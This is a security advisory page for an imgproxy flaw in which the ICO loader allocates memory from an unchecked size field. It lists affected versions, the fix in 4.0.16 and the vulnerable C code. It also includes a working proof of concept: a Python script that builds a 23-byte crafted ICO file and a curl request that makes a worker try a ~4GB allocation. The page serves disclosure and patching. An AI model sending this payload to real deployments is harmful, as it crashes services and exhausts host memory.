Live › vulnerability › GHSA-mmq5-xm89-9pfg
imgproxy's ICO image loader passes an attacker-controlled size field straight into a memory allocation without checking it, so a single 23-byte ICO file makes a worker try to allocate about 4GB. Repeated requests can crash workers or exhaust host memory, causing denial of service.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-30 22:56 UTC. All times on this page are UTC.
Any imgproxy deployment that fetches or processes attacker-supplied images is exposed, including the 3.3.x series and 4.0.x up to 4.0.15. The advisory's proof of concept needs local file sources enabled, so deployments that only fetch remote images may be less exposed; the sources do not confirm this. Teams on managed hosting where the vendor runs imgproxy may not need to act.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| github.com/imgproxy/imgproxy/v3 | go | >= 3.3.0, <= 4.0.15 | 4.0.16 |
imgproxy -v or the container image tag, and see whether it falls in 3.3.0 through 4.0.15.go.mod for .github.com/imgproxy/imgproxy/v34.0.16 (fixed version; the affected range is 3.3.0 through 4.0.15).Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Unbounded and unvalidated memory allocation in imgproxy's ICO loader (vips/icoload.c). An attacker-controlled data_size field (u32) from the ICO directory entry is passed directly to VIPS_MALLOC without any bounds check, so a single crafted 23-byte ICO file makes an imgproxy worker attempt a ~4GB allocation. Present in the latest release (v4.0.15) and the 3.3.x series; confirmed on a live production deployment of imgproxy v4.0.15.
In vips_foreign_load_ico_header in vips/icoload.c, the selected directory entry's data_size is read and used directly for the allocation:
uint32_t data_size = GUINT32_FROM_LE(largest_image_header.data_size);
// BMP file explicitly excludes BITMAPFILEHEADER, so we need to add it manually.
VipsPel *data = (VipsPel *) VIPS_MALLOC(NULL, data_size + BMP_FILE_HEADER_LEN);
There is no validation that data_size is sane nor any check that the file actually contains data_size bytes at the declared data_offset. A crafted 23-byte ICO whose directory entry declares data_size = 0xfa000068 (~4GB) drives VIPS_MALLOC(NULL, ~4GB + 14).
# make_ico_4gb.py — generates the exact 23-byte unbounded-allocation trigger.
# Byte-identical to the checksummed, production-verified file:
# ico-4gb.ico sha256 6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b
import struct, hashlib
hdr = struct.pack('<HHH', 0, 1, 1) # reserved, type=ICO, count=1
entry = struct.pack('<BBBBHHII', 16, 16, 0, 0, 1, 32, 0xfa000068, 0x16)
data = b'\x00'
blob = hdr + entry + data
assert hashlib.sha256(blob).hexdigest() == \
'6cee1fbfdc69fd4f507e86835ce2fa54519e55608f1dd69f42860f9961b1045b'
open('ico-4gb.ico', 'wb').write(blob)
print(f"ico-4gb.ico: {len(blob)} bytes [VERIFIED]")
# imgproxy v4.0.15 with local file sources enabled:
# IMGPROXY_ENABLE_LOCAL_FILES=true IMGPROXY_LOCAL_FILESYSTEM_ROOT=/ imgproxy
curl "http://127.0.0.1:8080/insecure/plain/local:///path/to/ico-4gb.ico@png"
# → outcome depends on host memory: on a memory-constrained pod the worker
# OOM-dies; on a larger host the ~4GB allocation succeeds transiently and
# decode fails -> HTTP 500 (worker survives, but each request burns ~4GB
# transiently — repeatable memory exhaustion).
Unauthenticated network DoS / memory-exhaustion: on memory-constrained workers, a crash per crafted request. On larger hosts, ~4GB transient allocation per request (sustained firing exhausts memory or the allocation budget). Any imgproxy deployment that processes attacker-supplied images.
This page as .md · .json · in your agent: get_signal("GHSA-mmq5-xm89-9pfg")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.